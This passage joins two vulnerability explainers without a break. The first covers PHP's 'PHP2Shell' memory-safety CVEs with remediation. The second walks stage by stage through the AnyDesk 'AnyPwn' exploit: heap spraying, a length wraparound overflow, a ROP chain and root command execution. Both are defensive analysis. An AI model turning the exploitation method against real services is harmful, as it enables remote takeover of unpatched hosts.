Checkpoint: you should now be able to explain why an innocuous-looking HTTP form can exercise complex native memory code before login middleware, and why request size, memory use, and execution stage are three separate facts.

3. CVE-2026–109618: the unfinished-entry problem

What makes this attack succeed (the root cause)

The critical assumption is an invariant: if a container’s bookkeeping says that a slot is populated, code that traverses that slot must see either a valid value or an explicitly recognized empty/deleted state. During ordinary uninterrupted execution, native code can temporarily violate that invariant and restore it a few instructions later. A nonlocal bailout can make the temporary violation visible to shutdown.

Datadog documents one concrete manifestation in _zend_hash_str_add_or_update_i(). PHP’s advisory covers the wider class: any allocation failure while incomplete request memory is reachable can be dangerous, even if the failed allocation is not the incomplete structure itself. Do not equate the entire CVE with one hash-table function.

3.1 Read the vulnerable source, one line at a time

This four-line excerpt is from the pre-fix revision linked by Datadog. It explains the ordering problem without supplying a forged object, memory addresses, or an exploitation layout.

idx = ht->nNumUsed++;
ht->nNumOfElements++;
p = ht->arData + idx;
p->key = key = zend_string_init(str, len, GC_FLAGS(ht) & IS_ARRAY_PERSISTENT);

1. idx = ht->nNumUsed++ selects the next used-slot index and advances the used-slot boundary. nNumUsed is not simply the number of live elements; PHP arrays can contain holes.
2. ht->nNumOfElements++ increments the logical live-element count. That is a separate piece of bookkeeping from the used-slot boundary.
3. p = ht->arData + idx chooses the address of the new bucket. Computing an address does not initialize the value stored there.
4. zend_string_init(…) allocates and copies the key. If allocation invokes a bailout, the assignment and the remainder of insertion do not complete normally.

The precise gap: the table has published a larger range of entries before the new entry is fully initialized. Cleanup can traverse an entry that ordinary execution would have finished constructing.

3.2 The state transition, step by step

The following numbers are explanatory, not an exploit-specific heap layout.

A. Before insertion
   used slots = 2; live elements = 2
   [valid entry] [valid entry] [unused slot]
B. Bookkeeping advances
   used slots = 3; live elements = 3
   [valid entry] [valid entry] [construction in progress]
C. Key allocation cannot complete
   native insertion is abandoned by a bailout
   the remaining initialization does not run
D. Shutdown traverses the counted range
   the third slot is inside that range
   its bytes are interpreted as a PHP value

The bug is not an ordinary ‘too much memory’ error. It is the state PHP leaves behind when handling that error. A cleanly rejected allocation is expected behavior. A shutdown traversal that trusts an incomplete entry is the memory-safety failure.

3.3 How the vulnerable path unfolds

Step 1: reach native input handling. The frontend routes a request to PHP. On the confirmed mod_php path, automatic body parsing happens before the script begins. Application login has not yet run.

Step 2: begin an operation with a temporary invalid state. The interpreter starts inserting input into a native structure. A counter or reachable pointer is updated before all associated initialization is complete.

Step 3: an allocation fails in the vulnerable window. The old OOM machinery abandons the current native context. Merely getting any allocation failure is not enough to establish that this particular window was hit.

Step 4: the SAPI decides what happens next. mod_php invokes request shutdown even when startup failed. FPM terminates its child on startup failure instead. This difference controls whether the demonstrated startup corruption is subsequently consumed.

Step 5: cleanup encounters the incomplete value. Destruction is active code, not just erasing bytes. It can consult type tags, follow pointers, release references, and dispatch object/resource cleanup. Invalid bytes can therefore influence control flow.

Step 6: exploitability depends on additional control. A reliable RCE requires more than this source ordering: relevant memory contents, valid addresses, and build-specific behavior must be brought under control. PHP reports validated complete RCE against mod_php; a simple OOM message does not independently reproduce that result.

3.4 Why longjmp() matters

A normal error-return path can release temporary allocations, restore counters, and return failure to its caller. A longjmp()-style bailout transfers control to a saved recovery point rather than returning through each native caller. Any repair code later in the abandoned operation is skipped.

This is not the same as a PHP exception handled with application try/catch. The vulnerable behavior occurs in the runtime’s native error machinery and can precede application execution. Also, ‘longjmp never runs cleanup’ is too imprecise: it skips normal returns through the abandoned code, but the outer runtime may still perform request shutdown. That combination is what makes the inconsistent state dangerous.

3.5 A safe local model of the ordering bug

Save this as invariant_demo.py and run it with python3 invariant_demo.py. It is a Python ownership analogy using ordinary exceptions; it does not access freed memory or send a request to PHP.

def interrupted_insert(table):
    table['used'] += 1
    raise MemoryError('simulated allocation failure')
    table['entries'].append('new value')
def staged_insert(table):
    value = 'fully initialized value'
    table['entries'].append(value)
    table['used'] = len(table['entries'])
table = {'used': 2, 'entries': ['first', 'second']}
try:
    interrupted_insert(table)
except MemoryError:
    print('interrupted:', table['used'], len(table['entries']))
    assert table['used'] != len(table['entries'])
table = {'used': 2, 'entries': ['first', 'second']}
staged_insert(table)
print('completed:', table['used'], len(table['entries']))
assert table['used'] == len(table['entries'])

Expected output is interrupted: 3 2 followed by completed: 3 3. The model makes one idea visible: publishing bookkeeping before construction can leave a false claim about what exists. It is not a simulation of Zend’s allocator, and PHP’s actual fix is broader than the staged insertion shown here.

What happens if the attack succeeds (the consequence)

Successful exploitation gives execution in the web worker’s security context. On many Linux deployments that is www-data or apache, not automatically root. It can expose source code, application-readable configuration, database credentials, writable application content, and reachable services. What happens beyond the worker depends on filesystem permissions, containers, network policy, and other trust boundaries.

A failed HTTP response is not proof that execution failed: shutdown can run after request processing fails. Likewise, no worker crash is not proof of safety. Datadog explicitly notes that successful command execution need not crash the worker.

Remediation plan for 109618

1. Apply a fixed upstream release or a confirmed vendor backport. The upstream thresholds are 8.2.35, 8.3.36, 8.4.27, and 8.5.12.
2. Replace all old workers. Rebuild images and roll them out, or restart the appropriate web server/FPM service. A graceful rollout must actually drain and remove every old worker before closure.
3. If temporarily unable to patch, follow PHP’s advisory rather than a copied exploit-specific rule. Administratively enforced memory_limit=-1 removes the predictable PHP limit used by the confirmed OOM strategy, but underlying allocation failures remain possible. This setting can increase host-level denial-of-service risk and must be paired with frontend and resource controls.
4. Bound decoded request work before PHP. Cover total body size, parts, part headers, variables, and nesting where your frontend supports them. Reject multipart requests on routes that never need them.
5. Do not substitute RLIMIT_AS or RLIMIT_DATA. PHP specifically warns that these can force the allocation-failure path. Container/cgroup limits are availability boundaries, not a complete memory-safety fix.

Checkpoint: an OOM error is not the exploit, the hash-table excerpt is not the whole CVE, and FPM’s startup behavior is not the same as mod_php’s.

4. CVE-2026–109619: the expired-reference problem

What makes this attack succeed (the root cause)

A worker can keep a global field for error, session, object, or extension state. The field can point at an allocation owned by one request. That design is safe only if the field is cleared before its allocation is released, or if nothing can consume it before reinitialization.

PHP’s advisory identifies paths where both safeguards fail: the reference survives request teardown, and a subsequent operation uses it before ordinary initialization has reset it. A fatal interruption can skip the intended reset. A later shutdown diagnostic can also repopulate error state after it was already cleared, so ‘clear it once during shutdown’ is not a sufficient general rule.

4.1 The two-request timeline

The address below is a symbolic label, not a real pointer or an exploitation offset.

Worker W, request A
  1. Allocate request-owned object at address P
  2. Publish global_reference = P
  3. Interruption skips reset, or later cleanup repopulates it
  4. Release request A's memory
     global_reference still contains P
Worker W, request B
  5. An early operation runs
  6. It uses global_reference before ordinary initialization
  7. Address P no longer denotes request A's live object
     reading, freeing, or branching on it is unsafe

The allocation can be reused for unrelated data or remain unmapped. Neither possibility makes the old reference valid. A stale pointer is a lifetime error even if its numeric address did not change.

4.2 The five prerequisites, checked separately

1. A reachable producer exists. Some operation publishes request-owned state in a worker-global location.
2. The reference survives too long. An interrupted operation fails to reset it, or a later stage repopulates it after reset.
3. The allocation is released. The worker continues while the backing memory no longer belongs to a live object from that request.
4. Another request reaches the same relevant worker context. A later request on a different worker does not automatically have that reference.
5. An early consumer uses it before normal initialization. Merely serving another request is not enough; the ordering of the consumer matters.

These conditions explain why a fatal error alone, a session alone, or a single enabled INI feature is not proof of exploitable stale-state consumption. They also explain why a successful harmless request is not proof of absence.

4.3 Confirmed case A: PHP 8.5 fatal-error backtraces

Producer: with fatal_error_backtraces enabled, fatal error reporting stores request-owned backtrace state. PHP states that its reset is missed during shutdown in the affected case.

Consumer: a diagnostic caused by configuration applied before ordinary request initialization reaches the stale error state on a later request. It need not be a fatal diagnostic, and it need not be printed or logged. The state is accessed before reporting policy is applied.

Why mod_php is important: Apache’s per-directory php_value/php_flag/php_admin_* configuration and .htaccess can be applied before php_request_startup(). This creates a route to early configuration diagnostics. Normal startup php.ini is not reapplied as an equivalent per-request consumer.

What this does not mean: an attacker does not automatically gain the ability to edit .htaccess or arbitrary PHP configuration. The necessary configuration and reachable operation are deployment prerequisites, not privileges granted by an HTTP request.

The consequence if the complete chain succeeds: stale state becomes an exploitable use after free and potentially remote execution in the worker. Disabling printed errors does not repair the lifetime violation.

4.4 Confirmed case B: session upload-progress lifecycle

Producer: early upload handling can initialize request-owned session or decoder state. An interruption after that publication can prevent its matching reset.

Consumer: a later upload-progress operation can reach session handling before ordinary session initialization and treat the old globals as valid.

On mod_php: PHP documents a demonstrated application-independent path where producing state and the fatal interruption happen during multipart startup. The worker’s shutdown and survival behavior makes the later consumption possible.

On FPM: a child whose startup fails is terminated. That prevents the exact startup-failure sequence from persisting. The validated FPM path instead produces state during application execution after successful startup, reaches a fatal error, and later reaches an early upload-progress consumer on the same worker. It depends on a suitable application operation and has been validated with a normal dynamic FPM pool.

What this does not mean: ‘any POST to any FPM application gives RCE’ is not supported by the advisory. The normal input path can be widely reachable while a particular producer still requires application or extension behavior.

4.5 Same worker is not the same as same connection

An HTTP keep-alive connection can be relevant to scheduling in some Apache arrangements, but it is not a portable worker-pinning guarantee. A reverse proxy can keep one client connection while distributing backend requests, and FPM scheduling is controlled by its process manager and frontend.

The correct research observation is the PID/context actually handling each request. In the safe lab below, a normal response includes getmypid() so you can observe scheduling instead of assuming it. Repeated PIDs show reuse; they do not demonstrate stale memory or a successful exploit.

4.6 Why an address leak and code execution are different findings

Reading memory through an expired reference can disclose process data. Turning a memory-safety condition into a reliable control-flow change can require knowledge of addresses and allocator behavior. Datadog discusses disclosure as part of exploitation research, but an exposed session identifier, an HTTP error, and an actual native memory disclosure are not interchangeable observations.

For a technical report, label the result precisely: configuration prerequisite, reachable producer, observed early consumer, memory disclosure, crash, or demonstrated code execution. Do not report the strongest result based only on the weakest observation.

4.7 Do not mix unrelated session chains into this CVE

A file-inclusion chain that includes a session file requires a separate inclusion primitive. A serializer-format mismatch requires the relevant handler configuration and transition. Neither alone proves the cross-request stale-global-state bug described by 109619.

The October 23 advisory is a concrete reason to keep these separate: it names CVE-2026–115560 for an unusual serializer-switch condition, not a failure of the October 21 state-reset patch to fix 109619. This article does not treat every circulating session PoC or suspicious filename as independent validation of the original CVEs.

What happens if the attack succeeds (the consequence)

A complete exploit can execute code as the web worker and potentially disclose worker memory. It does not automatically escape a container or elevate to root. Compromise can still expose application secrets and data available to the worker even when the host boundary holds.

Application logs may omit pre-script activity. However, that does not mean the attack is inherently invisible: frontend logs, interpreter diagnostics, process events, and other host telemetry can still record parts of it. For an application-dependent producer, application execution can be part of the sequence.

Remediation plan for 109619

1. Apply the complete state-reset fix through the fixed upstream branch release or a vendor backport. No generic configuration setting covers every producer and consumer.
2. Replace every old worker. Runtime state and old code persist until the workers are removed.
3. For a temporary PHP 8.5 mitigation, administratively disable fatal_error_backtraces and restart workers. This removes the confirmed backtrace producer, not all possible stale globals.
4. Administratively disable session.upload_progress.enabled where upload progress is not needed, then restart workers. This blocks the demonstrated early session paths. PHP’s October 23 advisory provides an additional reason to keep this mitigation while evaluating serializer changes.
5. Audit per-request configuration diagnostics and attacker-reachable fatal paths. Removing one early warning or one callback failure reduces that path, but it is not proof that all other paths are absent.
6. Apply settings before parsing. A runtime ini_set() inside the application cannot retroactively change a callback that has already executed. FPM .user.ini is not a substitute for the early administrative setting described by PHP.

Checkpoint: explain the producer, freed allocation, surviving reference, same-worker requirement, and early consumer separately. If one is missing from an experiment, you have not reproduced the full stale-state sequence.

5. Research evidence: what is confirmed on each SAPI?

A useful research article separates a vendor’s broad affected-product warning from evidence for a particular exploit path. PHP warns all web deployments to update; the technical advisories still make distinctions about which sequences were demonstrated.

5.1 Apache with mod_php

109618: confirmed complete RCE. PHP reports validation over HTTP with default input and memory limits and normal prefork configurations containing multiple workers. mod_php’s unconditional request-shutdown behavior exposes incomplete state after startup failure. A single-worker demonstration is not the limit of the vendor’s confirmed impact.

109619: confirmed exploitation. The PHP 8.5 fatal-backtrace case and session-upload-progress lifecycle are documented. Per-directory configuration can provide an early diagnostic consumer. The exact producer and configuration still matter.

How to identify it: the diagnostic endpoint in the lab reports PHP_SAPI = apache2handler. Seeing the word Apache in a Server header alone is not enough: Apache can also proxy to FPM.

5.2 PHP-FPM

109618: susceptible by source analysis, no complete FPM exploit demonstrated in the PHP advisory. FPM terminates a child after request-startup failure. OOM after successful startup can still encounter invalid-state contexts, so startup behavior is not a blanket immunity statement.

109619: validated application-dependent path. PHP describes state publication during application execution, a fatal interruption, then an early session consumer in another request on the same worker. An INI-diagnostic consumer is conditional on early PHP_VALUE/PHP_ADMIN_VALUE supplied through the frontend; ordinary pool startup values and .user.ini are not equivalent.

How to identify it: PHP_SAPI commonly reports fpm-fcgi. Identify the actual pool, service, executable, loaded configuration, extensions, and package source. Do not infer them from an unrelated CLI binary.

5.3 FrankenPHP

109618: likely susceptible to application-independent paths by PHP’s source analysis, because shutdown is called unconditionally. That evidence label is weaker than a published complete exploit validated for a named build.

109619: do not copy mod_php’s INI conclusion. PHP states that an equivalent early configuration consumer was not established in the default FrankenPHP configuration. This does not rule out different consumers from application or extension behavior.

5.4 LSAPI and php-cgi

PHP includes these deployments in its broad update warning. For LSAPI, the OOM advisory describes likely application-specific exposure by analogy to FPM, but unvalidated. The stale-state advisory identifies early environment INI application as a conditional candidate. For php-cgi, document the host’s actual invocation and reuse model rather than assuming it behaves like a persistent FPM pool.

6. What the patches change, and how to read them

6.1 The OOM fix changes the interruption model

PHP’s advisory says the patch removes the unsafe immediate longjmp() behavior for OOM. It introduces delayed soft OOM at a VM safe point and immediate hard OOM using _exit() at a second, higher threshold.

Before the fix: allocation failure can abandon native code while its temporary state is inconsistent, followed by shutdown that processes that state.

Soft OOM after the fix: the memory condition is recognized, but the runtime delays the graceful failure until a safe execution boundary. The goal is to avoid abandoning arbitrary native operations halfway through their invariants.

Hard OOM after the fix: if memory reaches the higher boundary, the worker exits immediately instead of trying ordinary user-space shutdown on a potentially unsafe path. _exit() is not the same as a normal PHP shutdown that runs application cleanup.

This does not give PHP unlimited memory, promise that every OOM is recoverable, or mean every later worker exit indicates exploitation. It changes how memory exhaustion is handled so incomplete state is not trusted during the vulnerable cleanup sequence. Exact thresholds and implementation details belong to the checked release source and configuration, not a universal number copied from a demonstration.

6.2 The stale-state fix changes the ownership boundary

For 109619, the complete fix resets the wider request-owned error, session, object, and extension state that must not survive into operations preceding ordinary initialization. Clearing one particular backtrace pointer would not address every producer/consumer pairing.

The review question is not simply ‘was memory freed?’ It is ‘after freeing, can any surviving worker-global field still reach request-owned memory, and can any earlier-than-normal callback consume it?’ A diagnostic that repopulates state late in shutdown is relevant even if a previous cleanup stage already reset the field.

6.3 Read-only source comparison, step by step

The following downloads official source and reads a diff. It does not build a vulnerable service, run a public exploit, or send malformed traffic. You need Git and enough disk space for the source checkout.

git clone --depth=1 --branch php-8.5.11 https://github.com/php/php-src.git php2shell-source
cd php2shell-source
git fetch --depth=1 origin tag php-8.5.12
git rev-parse php-8.5.11 php-8.5.12
git diff --stat php-8.5.11 php-8.5.12
git diff php-8.5.11 php-8.5.12 -- NEWS
git diff php-8.5.11 php-8.5.12 -- Zend/zend_alloc.c
git diff php-8.5.11 php-8.5.12 -- main/main.c Zend/zend.c ext/session/session.c

Step 1: record the revisions. Save the resolved hashes alongside your report. A mutable branch name alone is not a reproducible source reference.

Step 2: read NEWS and the full change list. The selected paths above are orientation points, not a claim that every fix is contained in those files. Follow additional files and tests named by the full diff.

Step 3: trace the OOM path. Identify where an allocation crosses policy limits, how a pending soft failure is represented, where safe-point processing occurs, and where hard termination replaces normal shutdown. Do not assume one changed hash insertion is the entire remediation.

Step 4: trace state ownership. For each changed global, identify who allocates the referenced state, who publishes it, and which stage clears it before memory release and early next-request work.

Step 5: read the regression tests. A new test’s expected output proves a narrowly defined behavior under its configuration. It does not assert that every possible application, extension, and SAPI has been exercised.

Step 6: compare the package actually deployed. If a distribution backports the patch, upstream version tags alone do not describe the patched package. Record the package revision and vendor advisory that attest to the backport.

These are source-review instructions, not a claim that this article built and tested every source tag or reproduced either memory-corruption exploit.

6.4 Four shortcuts that give false confidence

• ‘No segfault, therefore safe.’ Successful execution need not crash a worker, and many unsuccessful probes do not hit the precise vulnerable state.
• ‘The large POST returned 500, therefore vulnerable.’ A 500 response is not proof of native corruption or code execution. A patched server can legitimately reject memory-intensive work.
• ‘session.upload_progress.enabled=0 fixes both.’ It removes documented session paths, not the entire OOM family or every non-session global.
• ‘php -v is patched, therefore the website is patched.’ The shell can use a different binary, configuration, container, or installation from the worker serving HTTP.

7. Timeline and confidence boundaries

• 2020 and 2024: the original research recounts an older OOM report and later audit context. Earlier reports of OOM behavior are historical context, not proof of exploitation of today’s exact chains.
• October 17, 2026: AWS reports a PHP2Shell exploitation attempt in its MadPot telemetry. The report does not establish successful compromise of a real-world host.
• October 21, 2026: PHP releases the two critical fixes and the technical advisories. AWS reports additional attempts around disclosure.
• October 22, 2026: Datadog’s independent analysis describes its reproduction and explains the concrete interrupted hash-table insertion.
• October 23, 2026: PHP issues a separate informational notice concerning unusual serializer switching and upload progress, tracked as CVE-2026–115560.

No named APT attribution is established by the sources used here. Shared infrastructure, an exploit attempt, a successful honeypot result, and attribution are different evidence categories. Do not fill those gaps with speculation.

8. References and further reading

• [S1] PHP: RCE via OOM corruption, CVE-2026–109618. Primary mechanism, SAPI susceptibility, patch design, impact, and mitigation limits: https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
• [S2] PHP: RCE via stale global state, CVE-2026–109619. Producers, consumers, confirmed and candidate cases, and complete-remediation requirements: https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
• [S3] PHP 2026 news archive. October 21 security release and October 23 informational session-upload-progress notice: https://www.php.net/archive/2026.php
• [S4] Datadog Security Labs: PHP2Shell critical vulnerabilities in PHP. Independent technical analysis, source excerpt, reproduction context, and investigation cautions: https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php/
• [S5] PHP manual: Session Upload Progress. Legitimate behavior, pre-script execution, progress-field configuration, and cleanup context: https://www.php.net/manual/en/session.upload-progress.php
• [S6] PHP manual: core php.ini directives. Memory policy, loaded-configuration caveats, and directive semantics: https://www.php.net/manual/en/ini.core.php
• [S7] Pinned pre-fix Zend hash-table source. Revision used for the cited insertion ordering: https://github.com/php/php-src/blob/678778973bb4d4185c06ef1320de50f1a975d3c8/Zend/zend_hash.c#L960-L964
• [S8] Docker Official Image: PHP. Image configuration and custom INI files: https://hub.docker.com/_/php
• [S9] AWS: Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot. Attempt timeline and limits of the observed evidence: https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/
• [S10] Calif: A tale of two PHP remote vulnerabilities. Original research and historical context: https://calif.io/php2shell/
• Official PHP source repository: https://github.com/php/php-src
• PHP supported versions: https://www.php.net/supported-versions.php

The failure: a small message makes the service reserve too little memory

A remote access service has to read some network messages before it can ask a person to approve a session. AnyPwn attacks that earlier processing. It does not need to take over an approved desktop session: it damages the Linux service while the service is still handling the connection.

The underlying mistake is a disagreement between three things: how much data a message claims to contain, how much memory the service reserves, and how much data the service then writes. An unchecked calculation turns a very large claimed length into a very small allocation. The later write can run into a neighboring object.

The published exploit adds several preparation stages to turn that memory damage into command execution. Understanding the bug explains why the write is unsafe. Understanding those stages explains why an unsafe write sometimes runs a command and sometimes only crashes the service.

NVD lists Linux versions 8.0.0 through 8.0.2 in its structured affected range. V12’s complete demonstration targets one specific Linux 8.0.2 binary on x86_64. Version 8.0.3 contains the fix. Successful commands inherit the service’s privileges, normally root on Linux. Root means system administrator privileges, not a separate privilege escalation exploit.

Stage 1: Establish a connection and reach the vulnerable session handler

The first job is to get the service to process session traffic. V12’s client opens a TCP connection to the direct listener on port 7070, then wraps it in TLS. TLS encrypts the connection. It does not establish that the application messages inside it are valid or that desktop control has been authorized.

client = connect_client()
assigned_stream = send_setup_and_get_stream(client)
send_stream_primer(client, assigned_stream)

The first line creates the connection. The second exchanges setup messages and obtains a stream identifier from a server reply. Think of a stream identifier as a routing label: it tells AnyDesk which logical conversation should receive subsequent messages. It is not an authorization token. The third line sends short initialization messages on the associated streams.

Next, the proof of concept sends an ordinary profile object. V12 describes this as entering the profile/session path that handles mode 5 messages. Mode 5 names the relevant processing path; the vulnerability is not simply the presence of the number five in a packet. The service must have reached the right state before the malformed data matters.

This is why the labels pre-authentication and pre-approval need context. AnyDesk’s manual acceptance settings govern whether a person permits an incoming session. The demonstrated memory corruption happens before desktop-control approval. That does not mean the exploit skips TCP, TLS or the service’s protocol setup. An approval window is not a substitute for a safe parser.

At the end of this stage, the attacker has a connection and a route into the vulnerable handler. No desktop-control approval has been needed, and no memory corruption has happened yet.

Stage 2: Arrange memory so the later overwrite has a useful neighbor

The heap is the part of a process’s memory used for objects created while the program runs. A memory allocator chooses where those objects go. An overflow can only damage whatever happens to be next to its buffer, so the layout matters. The exploit cannot treat every nearby object as an equally useful target.

send_heap_spray(client, assigned_stream)
clients = connect_victim_clients()

The first call creates many persistent objects across a range of sizes. This is heap spraying: filling memory with deliberately chosen allocations to influence what is likely to be nearby later. Covering several sizes helps accommodate the allocator’s different size classes instead of relying on one exact object size.

The second call opens additional connections. Each causes the service to create client-related objects. These are the candidate victims: objects whose control information could become useful if an overflowing buffer lands immediately before them. Here, victim means an object in the target process, not an additional computer being attacked.

The purpose is placement, not command execution. If a candidate object ends up beside the undersized buffer created in the next stage, the overwrite may alter it. If the arrangement is wrong, the write may hit an unhelpful object or cause a crash. V12 explicitly describes this layout as probabilistic. Spraying improves the opportunity; it does not make success certain.

Stage 3: Lie about the data length, shrink the allocation and overwrite its neighbor

Now the exploit sends the malformed message. To see what is wrong with it, separate the outer frame from the data inside it. The outer frame has a two byte length, followed by a stream identifier and session data. Inside that session data, the mode 5 handler reads another length describing the body it is supposed to process.

Those lengths do not have to be identical: the outer frame also contains metadata. The essential rule is that the declared body length must not exceed the actual body bytes left after the metadata has been parsed. V12’s normal message builder illustrates the intended relationship.

def build_mode5_payload(payload: bytes) -> bytes:
 return encode_varint(len(payload)) + payload

len(payload) measures the body that really exists. encode_varint writes that number in a compact format, and the final addition attaches the body. A varint uses a variable number of bytes to represent a number. It is not a promise that the stated amount of data was actually received. A large claim can therefore fit into a small message.

The vulnerable handler trusts the inner claim too early. It adds 16 bytes for an internal object header and uses the result to request memory. For an ordinary 32 byte body, the calculation would be 32 plus 16, or 48 bytes. That would leave room for the header and body. AnyPwn instead declares 4,294,967,280 bytes, written in hexadecimal as 0xFFFFFFF0.

Local arithmetic model. This is not AnyDesk source and sends no network traffic.

declared = 0xFFFFFFF0
header = 16
full_result = declared + header
stored_u32 = full_result & 0xFFFFFFFF
print(full_result) # 4294967296
print(stored_u32) # 0

The first two lines supply the claimed length and the internal header size. Their sum is 4,294,967,296. An unsigned 32 bit value can hold only zero through 4,294,967,295, so that sum needs one more bit than fits. Keeping only the lowest 32 bits produces zero. This behavior is unsigned integer wraparound.

Python normally keeps the full integer instead of wrapping here. The bit mask on the fourth line deliberately models the truncated 32 bit result described by V12. The example explains the arithmetic; it is not a decompilation of the proprietary service.

The service now requests zero bytes while the object still records the original huge logical length. Its data pointer still points 16 bytes beyond the allocation base, as if the header and body had been reserved normally. The bookkeeping says there is abundant room, but the requested allocation provides none of that body space.

When packet body bytes are copied through that invalid pointer, the write crosses the allocation’s boundary. The allocator may round requests or provide internal bookkeeping space, but that does not make this a correctly sized application buffer. The attacker sends only the small body needed for the overwrite, not four gigabytes.

The prepared neighbor is what makes this write useful. V12’s trigger changes dispatch-related fields in an adjacent client object, including information used to choose a function to call. The bug has now become memory corruption. It has not yet become command execution: the service still has to use the altered object.

Stage 4: Supply the instruction chain that the corrupted object will reach

A changed function pointer can redirect execution, but redirecting it to an arbitrary or invalid location usually causes a crash. The exploit needs a useful destination. After the overwrite, it sends a second collection of objects containing a prepared instruction chain.

Original calls that build and distribute the later execution payload.

obj = build_rop_payload(COMMAND)
send_rop_objects(client, obj)

The first call constructs a return oriented programming chain, abbreviated ROP. Rather than supplying a new executable program, a ROP chain arranges addresses of short instruction sequences already present in the target binary. These sequences are often called gadgets. Each performs a small operation and transfers control to the next part of the chain.

The second call places repeated copies of the prepared object into the service’s memory. V12 also fills much of each object with repeated addresses of a simple return instruction before the meaningful chain. This return sled provides a wider landing area: several nearby entry positions can lead toward the same useful instructions instead of requiring one exact position.

The overwritten client is set up to reach a stack pivot. A pivot changes where the processor looks for the stored addresses used by subsequent returns. In this exploit, that connects the corrupted client object to one of the sprayed ROP objects. The pivot is the bridge; the ROP chain is the work performed after crossing it.

The two sprays therefore serve different purposes. The earlier one tries to position an object that can be damaged. The later one supplies repeated destinations for redirected execution. Confusing them hides why the proof of concept does both. At the end of this stage, the victim object’s control data has been altered and potential execution chains are in memory, but they still need to be reached.

Stage 5: Resume the damaged client and execute a command with the service’s privileges

The final trigger is normal-looking progress on the extra client connections. The proof of concept calls setup_victim_clients(clients), continuing their setup. When the service processes a corrupted candidate, it can follow the modified dispatch information rather than the original function path. The actual transfer happens while the service uses the damaged object, not merely when the malicious length arrives.

V12 describes that transfer passing through the chosen dispatch table and stack pivot into a sprayed instruction chain. The table, often called a vtable, holds addresses used to choose an object’s methods. Altering the relevant control data changes what the service calls. This is why overwriting object metadata can be more consequential than merely damaging a displayed name or profile picture.

The chain builder then performs three jobs: it writes the requested command into writable scratch memory, places the address of that command where the function expects its first argument, and transfers control to the target binary’s system() entry. system() executes a command using a shell. Those operations explain the jump from control-flow corruption to command execution.

The command runs in the security context of the compromised service. In the demonstrated Linux service configuration, that is normally root. The exploit does not need a second local vulnerability to elevate an ordinary account. It has already redirected a privileged process.

Root command execution is the precise demonstrated outcome. It does not automatically mean the proof of concept creates an interactive remote shell, establishes persistence or steals data. Those would be possible follow-on actions, not additional behaviors proved merely by the published demonstration.

The complete sequence is now visible: establish the session path, prepare neighboring objects, cause an undersized allocation and overwrite, supply reusable execution chains, then make the service process the damaged object. Removing any one of those explanations leaves a gap between the length error and the final command.

How to break the chain: validate the declaration before allocating or copying

The direct engineering fix is to stop treating an input length as established truth. First parse a bounded, well-formed varint. Then verify that its value fits the intended numeric type, fits within the actual frame body, and can safely accommodate the internal header. Those checks must happen before the value is narrowed, added to or used for memory access.

Illustrative defensive outline, not a recovered vendor patch. HEADER_SIZE is 16.

if (!valid_varint || declared > UINT32_MAX)
 return REJECT;
if (declared > available_body_bytes)
 return REJECT;
if (declared > UINT32_MAX - HEADER_SIZE)
 return REJECT;
allocation_size = declared + HEADER_SIZE;

The first condition rejects an invalid encoding or a number too large for 32 bits. The second rejects a body length that the received frame cannot support. The third ensures that adding the header will not wrap. It uses subtraction to check the limit without first performing the very addition that could overflow. The declaration must remain in a sufficiently wide representation while these checks run.

available_body_bytes means bytes remaining after the outer frame and its metadata have been safely validated. It must not be calculated by subtracting unchecked offsets. After allocation, the implementation must handle allocation failure and keep every copy within the actual validated capacity. This outline illustrates the checks; it is not a complete parser implementation.

Using a 64 bit variable alone would not solve the entire problem. Even a length that fits in 64 bits can falsely describe a small frame. Conversely, checking that data is present does not excuse overflow elsewhere in the allocation calculation. Input consistency, arithmetic safety and copy bounds are related but separate obligations.

A useful regression plan covers valid small frames, truncated metadata, malformed varints, a declared body longer than the frame, and numbers on either side of the header-addition limit. It should check that invalid input is rejected before allocation and copying. These are recommended tests derived from the failure, not claims about tests performed by AnyDesk.

Sources

1. V12: original AnyPwn research (https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/README.md). Root cause, exploit stages, test environment and stated limitations.

2. NVD: CVE-2026–109390 (https://nvd.nist.gov/vuln/detail/CVE-2026-109390). Affected range, publication date, official weakness mapping and MITRE severity score.

3. V12: protocol framing helpers (https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/exploit/anydesk_proto/frames.py). Outer framing, stream identifiers and varint encoding.

4. V12: proof of concept source (https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/exploit/anypwn.py). Preparation at lines 146 to 204, setup at 281 to 313, trigger at 316 to 344, chain at 347 to 376 and orchestration at 411 to 438.

5. V12: client connection code (https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/exploit/anydesk_proto/client.py). Direct TCP transport wrapped in TLS.

6. AnyDesk: official Linux changelog (https://anydesk.com/en/changelog/linux). Version 8.0.3 release date and wording; Remote Shell feature history.

7. Beazley Security: advisory BSL A1228 (https://labs.beazley.security/advisories/BSL-A1228). Independent advisory, interim controls and attributed vendor scope statements.

